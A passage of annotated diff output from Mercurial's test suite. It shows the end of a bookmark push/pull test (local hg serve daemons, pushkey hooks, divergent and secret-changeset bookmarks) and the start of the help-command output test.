709 724 > for table in [wireprotov1server.commands, wireprotov2server.COMMANDS]:
710 725 > table[b'lookup'].func = functools.partial(wrappedlookup, table[b'lookup'].func)
711 726 > EOF
712 727 $ cat <<EOF > ../pull-race/.hg/hgrc
713 728 > [extensions]
714 729 > lookuphook=$TESTTMP/lookuphook.py
715 730 > [hooks]
716 731 > lookup.makecommit= sh $TESTTMP/listkeys_makecommit.sh
717 732 > EOF
718 733 $ restart_server # new config need server restart
719 734 $ hg -R $TESTTMP/pull-race book
720 735 @ 1:0d2164f0ce0d
721 736 X 1:0d2164f0ce0d
722 737 * Y 6:0d60821d2197
723 738 Z 1:0d2164f0ce0d
724 739 $ hg pull -r Y
725 740 pulling from http://localhost:$HGPORT/
726 741 searching for changes
727 742 adding changesets
728 743 adding manifests
729 744 adding file changes
730 745 updating bookmark Y
731 746 added 1 changesets with 1 changes to 1 files
732 747 new changesets 0d60821d2197 (1 drafts)
733 748 (run 'hg update' to get a working copy)
734 749 $ hg book
735 750 @ 1:0d2164f0ce0d
736 751 X 1:0d2164f0ce0d
737 752 * Y 6:0d60821d2197
738 753 Z 1:0d2164f0ce0d
739 754 $ hg -R $TESTTMP/pull-race book
740 755 @ 1:0d2164f0ce0d
741 756 X 1:0d2164f0ce0d
742 757 * Y 7:714424d9e8b8
743 758 Z 1:0d2164f0ce0d
744 759
745 760 (done with this section of the test)
746 761
747 762 $ killdaemons.py
748 763 $ cd ../b
749 764
750 765 diverging a remote bookmark fails
751 766
752 767 $ hg up -q 4e3505fd9583
753 768 $ echo c4 > f2
754 769 $ hg ci -Am4
755 770 adding f2
756 771 created new head
757 772 $ echo c5 > f2
758 773 $ hg ci -Am5
759 774 $ hg log -G
760 775 @ 5:c922c0139ca0 5
761 776 |
762 777 o 4:4efff6d98829 4
763 778 |
764 779 | o 3:f6fc62dde3c0 3
765 780 |/
766 781 | o 2:0d2164f0ce0d 1
767 782 |/
768 783 | o 1:9b140be10808 2
769 784 |/
770 785 o 0:4e3505fd9583 test
771 786
772 787
773 788 $ hg book -f Y
774 789
775 790 $ cat <<EOF > ../a/.hg/hgrc
776 791 > [web]
777 792 > push_ssl = false
778 793 > allow_push = *
779 794 > EOF
780 795
781 796 $ hg serve -R ../a -p $HGPORT2 -d --pid-file=../hg2.pid
782 797 $ cat ../hg2.pid >> $DAEMON_PIDS
783 798
784 799 $ hg push http://localhost:$HGPORT2/
785 800 pushing to http://localhost:$HGPORT2/
786 801 searching for changes
787 802 abort: push creates new remote head c922c0139ca0 with bookmark 'Y'
788 803 (merge or see 'hg help push' for details about pushing new heads)
789 804 [20]
790 805 $ hg -R ../a book
791 806 @ 1:0d2164f0ce0d
792 807 * X 1:0d2164f0ce0d
793 808 Y 3:f6fc62dde3c0
794 809 Z 1:0d2164f0ce0d
795 810
796 811
797 812 Unrelated marker does not alter the decision
798 813
799 814 $ hg debugobsolete aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
800 815 1 new obsolescence markers
801 816 $ hg push http://localhost:$HGPORT2/
802 817 pushing to http://localhost:$HGPORT2/
803 818 searching for changes
804 819 abort: push creates new remote head c922c0139ca0 with bookmark 'Y'
805 820 (merge or see 'hg help push' for details about pushing new heads)
806 821 [20]
807 822 $ hg -R ../a book
808 823 @ 1:0d2164f0ce0d
809 824 * X 1:0d2164f0ce0d
810 825 Y 3:f6fc62dde3c0
811 826 Z 1:0d2164f0ce0d
812 827
813 828 Update to a successor works
814 829
815 830 $ hg id --debug -r 3
816 831 f6fc62dde3c0771e29704af56ba4d8af77abcc2f
817 832 $ hg id --debug -r 4
818 833 4efff6d98829d9c824c621afd6e3f01865f5439f
819 834 $ hg id --debug -r 5
820 835 c922c0139ca03858f655e4a2af4dd02796a63969 tip Y
821 836 $ hg debugobsolete f6fc62dde3c0771e29704af56ba4d8af77abcc2f cccccccccccccccccccccccccccccccccccccccc
822 837 1 new obsolescence markers
823 838 obsoleted 1 changesets
824 839 $ hg debugobsolete cccccccccccccccccccccccccccccccccccccccc 4efff6d98829d9c824c621afd6e3f01865f5439f
825 840 1 new obsolescence markers
826 841 $ hg push http://localhost:$HGPORT2/
827 842 pushing to http://localhost:$HGPORT2/
828 843 searching for changes
829 844 remote: adding changesets
830 845 remote: adding manifests
831 846 remote: adding file changes
832 847 remote: added 2 changesets with 2 changes to 1 files (+1 heads)
833 848 remote: 2 new obsolescence markers
834 849 remote: obsoleted 1 changesets
835 850 updating bookmark Y
836 851 $ hg -R ../a book
837 852 @ 1:0d2164f0ce0d
838 853 * X 1:0d2164f0ce0d
839 854 Y 5:c922c0139ca0
840 855 Z 1:0d2164f0ce0d
841 856
842 857 hgweb
843 858
844 859 $ cat <<EOF > .hg/hgrc
845 860 > [web]
846 861 > push_ssl = false
847 862 > allow_push = *
848 863 > EOF
849 864
850 865 $ hg serve -p $HGPORT -d --pid-file=../hg.pid -E errors.log
851 866 $ cat ../hg.pid >> $DAEMON_PIDS
852 867 $ cd ../a
853 868
854 869 $ hg debugpushkey http://localhost:$HGPORT/ namespaces
855 870 bookmarks
856 871 namespaces
857 872 obsolete
858 873 phases
859 874 $ hg debugpushkey http://localhost:$HGPORT/ bookmarks
860 875 @ 9b140be1080824d768c5a4691a564088eede71f9
861 876 X 9b140be1080824d768c5a4691a564088eede71f9
862 877 Y c922c0139ca03858f655e4a2af4dd02796a63969
863 878 Z 9b140be1080824d768c5a4691a564088eede71f9
864 879 foo 0000000000000000000000000000000000000000
865 880 foobar 9b140be1080824d768c5a4691a564088eede71f9
866 881 $ hg out -B http://localhost:$HGPORT/
867 882 comparing with http://localhost:$HGPORT/
868 883 searching for changed bookmarks
869 884 @ 0d2164f0ce0d
870 885 X 0d2164f0ce0d
871 886 Z 0d2164f0ce0d
872 887 foo
873 888 foobar
874 889 $ hg push -B Z http://localhost:$HGPORT/
875 890 pushing to http://localhost:$HGPORT/
876 891 searching for changes
877 892 no changes found
878 893 updating bookmark Z
879 894 [1]
880 895 $ hg book -d Z
881 896 $ hg in -B http://localhost:$HGPORT/
882 897 comparing with http://localhost:$HGPORT/
883 898 searching for changed bookmarks
884 899 @ 9b140be10808
885 900 X 9b140be10808
886 901 Z 0d2164f0ce0d
887 902 foo 000000000000
888 903 foobar 9b140be10808
889 904 $ hg pull -B Z http://localhost:$HGPORT/
890 905 pulling from http://localhost:$HGPORT/
891 906 no changes found
892 907 divergent bookmark @ stored as @1
893 908 divergent bookmark X stored as X@1
894 909 adding remote bookmark Z
895 910 adding remote bookmark foo
896 911 adding remote bookmark foobar
897 912 $ hg clone http://localhost:$HGPORT/ cloned-bookmarks
898 913 requesting all changes
899 914 adding changesets
900 915 adding manifests
901 916 adding file changes
902 917 added 5 changesets with 5 changes to 3 files (+2 heads)
903 918 2 new obsolescence markers
904 919 new changesets 4e3505fd9583:c922c0139ca0 (5 drafts)
905 920 updating to bookmark @
906 921 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
907 922 $ hg -R cloned-bookmarks bookmarks
908 923 * @ 1:9b140be10808
909 924 X 1:9b140be10808
910 925 Y 4:c922c0139ca0
911 926 Z 2:0d2164f0ce0d
912 927 foo -1:000000000000
913 928 foobar 1:9b140be10808
914 929
915 930 $ cd ..
916 931
917 932 Test to show result of bookmarks comparison
918 933
919 934 $ mkdir bmcomparison
920 935 $ cd bmcomparison
921 936
922 937 $ hg init source
923 938 $ hg -R source debugbuilddag '+2*2*3*4'
924 939 $ hg -R source log -G --template '{rev}:{node|short}'
925 940 o 4:e7bd5218ca15
926 941 |
927 942 | o 3:6100d3090acf
928 943 |/
929 944 | o 2:fa942426a6fd
930 945 |/
931 946 | o 1:66f7d451a68b
932 947 |/
933 948 o 0:1ea73414a91b
934 949
935 950 $ hg -R source bookmarks -r 0 SAME
936 951 $ hg -R source bookmarks -r 0 ADV_ON_REPO1
937 952 $ hg -R source bookmarks -r 0 ADV_ON_REPO2
938 953 $ hg -R source bookmarks -r 0 DIFF_ADV_ON_REPO1
939 954 $ hg -R source bookmarks -r 0 DIFF_ADV_ON_REPO2
940 955 $ hg -R source bookmarks -r 1 DIVERGED
941 956
942 957 $ hg clone -U source repo1
943 958
944 959 (test that incoming/outgoing exit with 1, if there is no bookmark to
945 960 be exchanged)
946 961
947 962 $ hg -R repo1 incoming -B
948 963 comparing with $TESTTMP/bmcomparison/source
949 964 searching for changed bookmarks
950 965 no changed bookmarks found
951 966 [1]
952 967 $ hg -R repo1 outgoing -B
953 968 comparing with $TESTTMP/bmcomparison/source
954 969 searching for changed bookmarks
955 970 no changed bookmarks found
956 971 [1]
957 972
958 973 $ hg -R repo1 bookmarks -f -r 1 ADD_ON_REPO1
959 974 $ hg -R repo1 bookmarks -f -r 2 ADV_ON_REPO1
960 975 $ hg -R repo1 bookmarks -f -r 3 DIFF_ADV_ON_REPO1
961 976 $ hg -R repo1 bookmarks -f -r 3 DIFF_DIVERGED
962 977 $ hg -R repo1 -q --config extensions.mq= strip 4
963 978 $ hg -R repo1 log -G --template '{node|short} ({bookmarks})'
964 979 o 6100d3090acf (DIFF_ADV_ON_REPO1 DIFF_DIVERGED)
965 980 |
966 981 | o fa942426a6fd (ADV_ON_REPO1)
967 982 |/
968 983 | o 66f7d451a68b (ADD_ON_REPO1 DIVERGED)
969 984 |/
970 985 o 1ea73414a91b (ADV_ON_REPO2 DIFF_ADV_ON_REPO2 SAME)
971 986
972 987
973 988 $ hg clone -U source repo2
974 989 $ hg -R repo2 bookmarks -f -r 1 ADD_ON_REPO2
975 990 $ hg -R repo2 bookmarks -f -r 1 ADV_ON_REPO2
976 991 $ hg -R repo2 bookmarks -f -r 2 DIVERGED
977 992 $ hg -R repo2 bookmarks -f -r 4 DIFF_ADV_ON_REPO2
978 993 $ hg -R repo2 bookmarks -f -r 4 DIFF_DIVERGED
979 994 $ hg -R repo2 -q --config extensions.mq= strip 3
980 995 $ hg -R repo2 log -G --template '{node|short} ({bookmarks})'
981 996 o e7bd5218ca15 (DIFF_ADV_ON_REPO2 DIFF_DIVERGED)
982 997 |
983 998 | o fa942426a6fd (DIVERGED)
984 999 |/
985 1000 | o 66f7d451a68b (ADD_ON_REPO2 ADV_ON_REPO2)
986 1001 |/
987 1002 o 1ea73414a91b (ADV_ON_REPO1 DIFF_ADV_ON_REPO1 SAME)
988 1003
989 1004
990 1005 (test that difference of bookmarks between repositories are fully shown)
991 1006
992 1007 $ hg -R repo1 incoming -B repo2 -v
993 1008 comparing with repo2
994 1009 searching for changed bookmarks
995 1010 ADD_ON_REPO2 66f7d451a68b added
996 1011 ADV_ON_REPO2 66f7d451a68b advanced
997 1012 DIFF_ADV_ON_REPO2 e7bd5218ca15 changed
998 1013 DIFF_DIVERGED e7bd5218ca15 changed
999 1014 DIVERGED fa942426a6fd diverged
1000 1015 $ hg -R repo1 outgoing -B repo2 -v
1001 1016 comparing with repo2
1002 1017 searching for changed bookmarks
1003 1018 ADD_ON_REPO1 66f7d451a68b added
1004 1019 ADD_ON_REPO2 deleted
1005 1020 ADV_ON_REPO1 fa942426a6fd advanced
1006 1021 DIFF_ADV_ON_REPO1 6100d3090acf advanced
1007 1022 DIFF_ADV_ON_REPO2 1ea73414a91b changed
1008 1023 DIFF_DIVERGED 6100d3090acf changed
1009 1024 DIVERGED 66f7d451a68b diverged
1010 1025
1011 1026 $ hg -R repo2 incoming -B repo1 -v
1012 1027 comparing with repo1
1013 1028 searching for changed bookmarks
1014 1029 ADD_ON_REPO1 66f7d451a68b added
1015 1030 ADV_ON_REPO1 fa942426a6fd advanced
1016 1031 DIFF_ADV_ON_REPO1 6100d3090acf changed
1017 1032 DIFF_DIVERGED 6100d3090acf changed
1018 1033 DIVERGED 66f7d451a68b diverged
1019 1034 $ hg -R repo2 outgoing -B repo1 -v
1020 1035 comparing with repo1
1021 1036 searching for changed bookmarks
1022 1037 ADD_ON_REPO1 deleted
1023 1038 ADD_ON_REPO2 66f7d451a68b added
1024 1039 ADV_ON_REPO2 66f7d451a68b advanced
1025 1040 DIFF_ADV_ON_REPO1 1ea73414a91b changed
1026 1041 DIFF_ADV_ON_REPO2 e7bd5218ca15 advanced
1027 1042 DIFF_DIVERGED e7bd5218ca15 changed
1028 1043 DIVERGED fa942426a6fd diverged
1029 1044
1030 1045 $ cd ..
1031 1046
1032 1047 Pushing a bookmark should only push the changes required by that
1033 1048 bookmark, not all outgoing changes:
1034 1049 $ hg clone http://localhost:$HGPORT/ addmarks
1035 1050 requesting all changes
1036 1051 adding changesets
1037 1052 adding manifests
1038 1053 adding file changes
1039 1054 added 5 changesets with 5 changes to 3 files (+2 heads)
1040 1055 2 new obsolescence markers
1041 1056 new changesets 4e3505fd9583:c922c0139ca0 (5 drafts)
1042 1057 updating to bookmark @
1043 1058 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
1044 1059 $ cd addmarks
1045 1060 $ echo foo > foo
1046 1061 $ hg add foo
1047 1062 $ hg commit -m 'add foo'
1048 1063 $ echo bar > bar
1049 1064 $ hg add bar
1050 1065 $ hg commit -m 'add bar'
1051 1066 $ hg co "tip^"
1052 1067 0 files updated, 0 files merged, 1 files removed, 0 files unresolved
1053 1068 (leaving bookmark @)
1054 1069 $ hg book add-foo
1055 1070 $ hg book -r tip add-bar
1056 1071 Note: this push *must* push only a single changeset, as that's the point
1057 1072 of this test.
1058 1073 $ hg push -B add-foo --traceback
1059 1074 pushing to http://localhost:$HGPORT/
1060 1075 searching for changes
1061 1076 remote: adding changesets
1062 1077 remote: adding manifests
1063 1078 remote: adding file changes
1064 1079 remote: added 1 changesets with 1 changes to 1 files
1065 1080 exporting bookmark add-foo
1066 1081
1067 1082 pushing a new bookmark on a new head does not require -f if -B is specified
1068 1083
1069 1084 $ hg up -q X
1070 1085 $ hg book W
1071 1086 $ echo c5 > f2
1072 1087 $ hg ci -Am5
1073 1088 created new head
1074 1089 $ hg push -B .
1075 1090 pushing to http://localhost:$HGPORT/
1076 1091 searching for changes
1077 1092 remote: adding changesets
1078 1093 remote: adding manifests
1079 1094 remote: adding file changes
1080 1095 remote: added 1 changesets with 1 changes to 1 files (+1 heads)
1081 1096 exporting bookmark W
1082 1097 $ hg -R ../b id -r W
1083 1098 cc978a373a53 tip W
1084 1099
1085 1100 pushing an existing but divergent bookmark with -B still requires -f
1086 1101
1087 1102 $ hg clone -q . ../r
1088 1103 $ hg up -q X
1089 1104 $ echo 1 > f2
1090 1105 $ hg ci -qAml
1091 1106
1092 1107 $ cd ../r
1093 1108 $ hg up -q X
1094 1109 $ echo 2 > f2
1095 1110 $ hg ci -qAmr
1096 1111 $ hg push -B X
1097 1112 pushing to $TESTTMP/addmarks
1098 1113 searching for changes
1099 1114 remote has heads on branch 'default' that are not known locally: a2a606d9ff1b
1100 1115 abort: push creates new remote head 54694f811df9 with bookmark 'X'
1101 1116 (pull and merge or see 'hg help push' for details about pushing new heads)
1102 1117 [20]
1103 1118 $ cd ../addmarks
1104 1119
1105 1120 Check summary output for incoming/outgoing bookmarks
1106 1121
1107 1122 $ hg bookmarks -d X
1108 1123 $ hg bookmarks -d Y
1109 1124 $ hg summary --remote | grep '^remote:'
1110 1125 remote: *, 2 incoming bookmarks, 1 outgoing bookmarks (glob)
1111 1126
1112 1127 $ cd ..
1113 1128
1114 1129 pushing an unchanged bookmark should result in no changes
1115 1130
1116 1131 $ hg init unchanged-a
1117 1132 $ hg init unchanged-b
1118 1133 $ cd unchanged-a
1119 1134 $ echo initial > foo
1120 1135 $ hg commit -A -m initial
1121 1136 adding foo
1122 1137 $ hg bookmark @
1123 1138 $ hg push -B @ ../unchanged-b
1124 1139 pushing to ../unchanged-b
1125 1140 searching for changes
1126 1141 adding changesets
1127 1142 adding manifests
1128 1143 adding file changes
1129 1144 added 1 changesets with 1 changes to 1 files
1130 1145 exporting bookmark @
1131 1146
1132 1147 $ hg push -B @ ../unchanged-b
1133 1148 pushing to ../unchanged-b
1134 1149 searching for changes
1135 1150 no changes found
1136 1151 [1]
1137 1152
1138 1153 Pushing a really long bookmark should work fine (issue5165)
1139 1154 ===============================================
1140 1155
1141 1156 #if b2-binary
1142 1157 >>> with open('longname', 'w') as f:
1143 1158 ... f.write('wat' * 100) and None
1144 1159 $ hg book `cat longname`
1145 1160 $ hg push -B `cat longname` ../unchanged-b
1146 1161 pushing to ../unchanged-b
1147 1162 searching for changes
1148 1163 no changes found
1149 1164 exporting bookmark (wat){100} (re)
1150 1165 [1]
1151 1166 $ hg -R ../unchanged-b book --delete `cat longname`
1152 1167
1153 1168 Test again but forcing bundle2 exchange to make sure that doesn't regress.
1154 1169
1155 1170 $ hg push -B `cat longname` ../unchanged-b --config devel.legacy.exchange=bundle1
1156 1171 pushing to ../unchanged-b
1157 1172 searching for changes
1158 1173 no changes found
1159 1174 exporting bookmark (wat){100} (re)
1160 1175 [1]
1161 1176 $ hg -R ../unchanged-b book --delete `cat longname`
1162 1177 $ hg book --delete `cat longname`
1163 1178 $ hg co @
1164 1179 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1165 1180 (activating bookmark @)
1166 1181 #endif
1167 1182
1168 1183 Check hook preventing push (issue4455)
1169 1184 ======================================
1170 1185
1171 1186 $ hg bookmarks
1172 1187 * @ 0:55482a6fb4b1
1173 1188 $ hg log -G
1174 1189 @ 0:55482a6fb4b1 initial
1175 1190
1176 1191 $ hg init ../issue4455-dest
1177 1192 $ hg push ../issue4455-dest # changesets only
1178 1193 pushing to ../issue4455-dest
1179 1194 searching for changes
1180 1195 adding changesets
1181 1196 adding manifests
1182 1197 adding file changes
1183 1198 added 1 changesets with 1 changes to 1 files
1184 1199 $ cat >> .hg/hgrc << EOF
1185 1200 > [paths]
1186 1201 > local=../issue4455-dest/
1187 1202 > ssh=ssh://user@dummy/issue4455-dest
1188 1203 > http=http://localhost:$HGPORT/
1189 1204 > EOF
1190 1205 $ cat >> ../issue4455-dest/.hg/hgrc << EOF
1191 1206 > [hooks]
1192 1207 > prepushkey=false
1193 1208 > [web]
1194 1209 > push_ssl = false
1195 1210 > allow_push = *
1196 1211 > EOF
1197 1212 $ killdaemons.py
1198 1213 $ hg serve -R ../issue4455-dest -p $HGPORT -d --pid-file=../issue4455.pid -E ../issue4455-error.log
1199 1214 $ cat ../issue4455.pid >> $DAEMON_PIDS
1200 1215
1201 1216 Local push
1202 1217 ----------
1203 1218
1204 1219 #if b2-pushkey
1205 1220
1206 1221 $ hg push -B @ local
1207 1222 pushing to $TESTTMP/issue4455-dest
1208 1223 searching for changes
1209 1224 no changes found
1210 1225 pushkey-abort: prepushkey hook exited with status 1
1211 1226 abort: exporting bookmark @ failed
1212 1227 [255]
1213 1228
1214 1229 #endif
1215 1230 #if b2-binary
1216 1231
1217 1232 $ hg push -B @ local
1218 1233 pushing to $TESTTMP/issue4455-dest
1219 1234 searching for changes
1220 1235 no changes found
1221 1236 abort: prepushkey hook exited with status 1
1222 1237 [40]
1223 1238
1224 1239 #endif
1225 1240
1226 1241 $ hg -R ../issue4455-dest/ bookmarks
1227 1242 no bookmarks set
1228 1243
1229 1244 Using ssh
1230 1245 ---------
1231 1246
1232 1247 #if b2-pushkey
1233 1248
1234 1249 $ hg push -B @ ssh # bundle2+
1235 1250 pushing to ssh://user@dummy/issue4455-dest
1236 1251 searching for changes
1237 1252 no changes found
1238 1253 remote: pushkey-abort: prepushkey hook exited with status 1
1239 1254 abort: exporting bookmark @ failed
1240 1255 [255]
1241 1256
1242 1257 $ hg -R ../issue4455-dest/ bookmarks
1243 1258 no bookmarks set
1244 1259
1245 1260 $ hg push -B @ ssh --config devel.legacy.exchange=bundle1
1246 1261 pushing to ssh://user@dummy/issue4455-dest
1247 1262 searching for changes
1248 1263 no changes found
1249 1264 remote: pushkey-abort: prepushkey hook exited with status 1
1250 1265 exporting bookmark @ failed
1251 1266 [1]
1252 1267
1253 1268 #endif
1254 1269 #if b2-binary
1255 1270
1256 1271 $ hg push -B @ ssh # bundle2+
1257 1272 pushing to ssh://user@dummy/issue4455-dest
1258 1273 searching for changes
1259 1274 no changes found
1260 1275 remote: prepushkey hook exited with status 1
1261 1276 abort: push failed on remote
1262 1277 [100]
1263 1278
1264 1279 #endif
1265 1280
1266 1281 $ hg -R ../issue4455-dest/ bookmarks
1267 1282 no bookmarks set
1268 1283
1269 1284 Using http
1270 1285 ----------
1271 1286
1272 1287 #if b2-pushkey
1273 1288 $ hg push -B @ http # bundle2+
1274 1289 pushing to http://localhost:$HGPORT/
1275 1290 searching for changes
1276 1291 no changes found
1277 1292 remote: pushkey-abort: prepushkey hook exited with status 1
1278 1293 abort: exporting bookmark @ failed
1279 1294 [255]
1280 1295
1281 1296 $ hg -R ../issue4455-dest/ bookmarks
1282 1297 no bookmarks set
1283 1298
1284 1299 $ hg push -B @ http --config devel.legacy.exchange=bundle1
1285 1300 pushing to http://localhost:$HGPORT/
1286 1301 searching for changes
1287 1302 no changes found
1288 1303 remote: pushkey-abort: prepushkey hook exited with status 1
1289 1304 exporting bookmark @ failed
1290 1305 [1]
1291 1306
1292 1307 #endif
1293 1308
1294 1309 #if b2-binary
1295 1310
1296 1311 $ hg push -B @ ssh # bundle2+
1297 1312 pushing to ssh://user@dummy/issue4455-dest
1298 1313 searching for changes
1299 1314 no changes found
1300 1315 remote: prepushkey hook exited with status 1
1301 1316 abort: push failed on remote
1302 1317 [100]
1303 1318
1304 1319 #endif
1305 1320
1306 1321 $ hg -R ../issue4455-dest/ bookmarks
1307 1322 no bookmarks set
1308 1323
1309 1324 $ cd ..
1310 1325
1311 1326 Test that pre-pushkey compat for bookmark works as expected (issue5777)
1312 1327
1313 1328 $ cat << EOF >> $HGRCPATH
1314 1329 > [ui]
1315 1330 > [server]
1316 1331 > bookmarks-pushkey-compat = yes
1317 1332 > EOF
1318 1333
1319 1334 $ hg init server
1320 1335 $ echo foo > server/a
1321 1336 $ hg -R server book foo
1322 1337 $ hg -R server commit -Am a
1323 1338 adding a
1324 1339 $ hg clone ssh://user@dummy/server client
1325 1340 requesting all changes
1326 1341 adding changesets
1327 1342 adding manifests
1328 1343 adding file changes
1329 1344 added 1 changesets with 1 changes to 1 files
1330 1345 new changesets 79513d0d7716 (1 drafts)
1331 1346 updating to branch default
1332 1347 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1333 1348
1334 1349 Forbid bookmark move on the server
1335 1350
1336 1351 $ cat << EOF >> $TESTTMP/no-bm-move.sh
1337 1352 > #!/bin/sh
1338 1353 > echo \$HG_NAMESPACE | grep -v bookmarks
1339 1354 > EOF
1340 1355 $ cat << EOF >> server/.hg/hgrc
1341 1356 > [hooks]
1342 1357 > prepushkey.no-bm-move= sh $TESTTMP/no-bm-move.sh
1343 1358 > EOF
1344 1359
1345 1360 pushing changeset is okay
1346 1361
1347 1362 $ echo bar >> client/a
1348 1363 $ hg -R client commit -m b
1349 1364 $ hg -R client push
1350 1365 pushing to ssh://user@dummy/server
1351 1366 searching for changes
1352 1367 remote: adding changesets
1353 1368 remote: adding manifests
1354 1369 remote: adding file changes
1355 1370 remote: added 1 changesets with 1 changes to 1 files
1356 1371
1357 1372 attempt to move the bookmark is rejected
1358 1373
1359 1374 $ hg -R client book foo -r .
1360 1375 moving bookmark 'foo' forward from 79513d0d7716
1361 1376
1362 1377 #if b2-pushkey
1363 1378 $ hg -R client push
1364 1379 pushing to ssh://user@dummy/server
1365 1380 searching for changes
1366 1381 no changes found
1367 1382 remote: pushkey-abort: prepushkey.no-bm-move hook exited with status 1
1368 1383 abort: updating bookmark foo failed
1369 1384 [255]
1370 1385 #endif
1371 1386 #if b2-binary
1372 1387 $ hg -R client push
1373 1388 pushing to ssh://user@dummy/server
1374 1389 searching for changes
1375 1390 no changes found
1376 1391 remote: prepushkey.no-bm-move hook exited with status 1
1377 1392 abort: push failed on remote
1378 1393 [100]
1379 1394 #endif
1380 1395
1381 1396 -- test for pushing bookmarks pointing to secret changesets
1382 1397
1383 1398 Set up a "remote" repo
1384 1399 $ hg init issue6159remote
1385 1400 $ cd issue6159remote
1386 1401 $ echo a > a
1387 1402 $ hg add a
1388 1403 $ hg commit -m_
1389 1404 $ hg bookmark foo
1390 1405 $ cd ..
1391 1406
1392 1407 Clone a local repo
1393 1408 $ hg clone -q issue6159remote issue6159local
1394 1409 $ cd issue6159local
1395 1410 $ hg up -qr foo
1396 1411 $ echo b > b
1397 1412
1398 1413 Move the bookmark "foo" to point at a secret changeset
1399 1414 $ hg commit -qAm_ --config phases.new-commit=secret
1400 1415
1401 1416 Pushing the bookmark "foo" now fails as it contains a secret changeset
1402 1417 $ hg push -r foo
1403 1418 pushing to $TESTTMP/issue6159remote
1404 1419 searching for changes
1405 1420 no changes found (ignored 1 secret changesets)
1406 1421 abort: cannot push bookmark foo as it points to a secret changeset
1407 1422 [255]
1408 1423
1409 1424 Test pushing all bookmarks
1410 1425
1411 1426 $ hg init $TESTTMP/ab1
1412 1427 $ cd $TESTTMP/ab1
1413 1428 $ "$PYTHON" $TESTDIR/seq.py 1 5 | while read i; do
1414 1429 > echo $i > test && hg ci -Am test
1415 1430 > done
1416 1431 adding test
1417 1432 $ hg clone -U . ../ab2
1418 1433 $ hg book -r 1 A; hg book -r 2 B; hg book -r 3 C
1419 1434 $ hg push ../ab2
1420 1435 pushing to ../ab2
1421 1436 searching for changes
1422 1437 no changes found
1423 1438 [1]
1424 1439 $ hg push --all-bookmarks -r 1 ../ab2
1425 1440 abort: cannot specify both --all-bookmarks and --rev
1426 1441 [10]
1427 1442 $ hg push --all-bookmarks -B A ../ab2
1428 1443 abort: cannot specify both --all-bookmarks and --bookmark
1429 1444 [10]
1430 1445 $ hg push --all-bookmarks ../ab2
1431 1446 pushing to ../ab2
1432 1447 searching for changes
1433 1448 no changes found
1434 1449 exporting bookmark A
1435 1450 exporting bookmark B
1436 1451 exporting bookmark C
1437 1452 [1]
@@ -1,4030 +1,4032
1 1 Short help:
2 2
3 3 $ hg
4 4 Mercurial Distributed SCM
5 5
6 6 basic commands:
7 7
8 8 add add the specified files on the next commit
9 9 annotate show changeset information by line for each file
10 10 clone make a copy of an existing repository
11 11 commit commit the specified files or all outstanding changes
12 12 diff diff repository (or selected files)
13 13 export dump the header and diffs for one or more changesets
14 14 forget forget the specified files on the next commit
15 15 init create a new repository in the given directory
16 16 log show revision history of entire repository or files
17 17 merge merge another revision into working directory
18 18 pull pull changes from the specified source
19 19 push push changes to the specified destination
20 20 remove remove the specified files on the next commit
21 21 serve start stand-alone webserver
22 22 status show changed files in the working directory
23 23 summary summarize working directory state
24 24 update update working directory (or switch revisions)
25 25
26 26 (use 'hg help' for the full list of commands or 'hg -v' for details)
27 27
28 28 $ hg -q
29 29 add add the specified files on the next commit
30 30 annotate show changeset information by line for each file
31 31 clone make a copy of an existing repository
32 32 commit commit the specified files or all outstanding changes
33 33 diff diff repository (or selected files)
34 34 export dump the header and diffs for one or more changesets
35 35 forget forget the specified files on the next commit
36 36 init create a new repository in the given directory
37 37 log show revision history of entire repository or files
38 38 merge merge another revision into working directory
39 39 pull pull changes from the specified source
40 40 push push changes to the specified destination
41 41 remove remove the specified files on the next commit
42 42 serve start stand-alone webserver
43 43 status show changed files in the working directory
44 44 summary summarize working directory state
45 45 update update working directory (or switch revisions)
46 46
47 47 Extra extensions will be printed in help output in a non-reliable order since
48 48 the extension is unknown.
49 49 #if no-extraextensions
50 50
51 51 $ hg help
52 52 Mercurial Distributed SCM
53 53
54 54 list of commands:
55 55
56 56 Repository creation:
57 57
58 58 clone make a copy of an existing repository
59 59 init create a new repository in the given directory
60 60
61 61 Remote repository management:
62 62
63 63 incoming show new changesets found in source
64 64 outgoing show changesets not found in the destination
65 65 paths show aliases for remote repositories
66 66 pull pull changes from the specified source
67 67 push push changes to the specified destination
68 68 serve start stand-alone webserver
69 69
70 70 Change creation:
71 71
72 72 commit commit the specified files or all outstanding changes
73 73
74 74 Change manipulation:
75 75
76 76 backout reverse effect of earlier changeset
77 77 graft copy changes from other branches onto the current branch
78 78 merge merge another revision into working directory
79 79
80 80 Change organization:
81 81
82 82 bookmarks create a new bookmark or list existing bookmarks
83 83 branch set or show the current branch name
84 84 branches list repository named branches
85 85 phase set or show the current phase name
86 86 tag add one or more tags for the current or given revision
87 87 tags list repository tags
88 88
89 89 File content management:
90 90
91 91 annotate show changeset information by line for each file
92 92 cat output the current or given revision of files
93 93 copy mark files as copied for the next commit
94 94 diff diff repository (or selected files)
95 95 grep search for a pattern in specified files
96 96
97 97 Change navigation:
98 98
99 99 bisect subdivision search of changesets
100 100 heads show branch heads
101 101 identify identify the working directory or specified revision
102 102 log show revision history of entire repository or files
103 103
104 104 Working directory management:
105 105
106 106 add add the specified files on the next commit
107 107 addremove add all new files, delete all missing files
108 108 files list tracked files
109 109 forget forget the specified files on the next commit
110 110 purge removes files not tracked by Mercurial
111 111 remove remove the specified files on the next commit
112 112 rename rename files; equivalent of copy + remove
113 113 resolve redo merges or set/view the merge status of files
114 114 revert restore files to their checkout state
115 115 root print the root (top) of the current working directory
116 116 shelve save and set aside changes from the working directory
117 117 status show changed files in the working directory
118 118 summary summarize working directory state
119 119 unshelve restore a shelved change to the working directory
120 120 update update working directory (or switch revisions)
121 121
122 122 Change import/export:
123 123
124 124 archive create an unversioned archive of a repository revision
125 125 bundle create a bundle file
126 126 export dump the header and diffs for one or more changesets
127 127 import import an ordered set of patches
128 128 unbundle apply one or more bundle files
129 129
130 130 Repository maintenance:
131 131
132 132 manifest output the current or given revision of the project manifest
133 133 recover roll back an interrupted transaction
134 134 verify verify the integrity of the repository
135 135
136 136 Help:
137 137
138 138 config show combined config settings from all hgrc files
139 139 help show help for a given topic or a help overview
140 140 version output version and copyright information
141 141
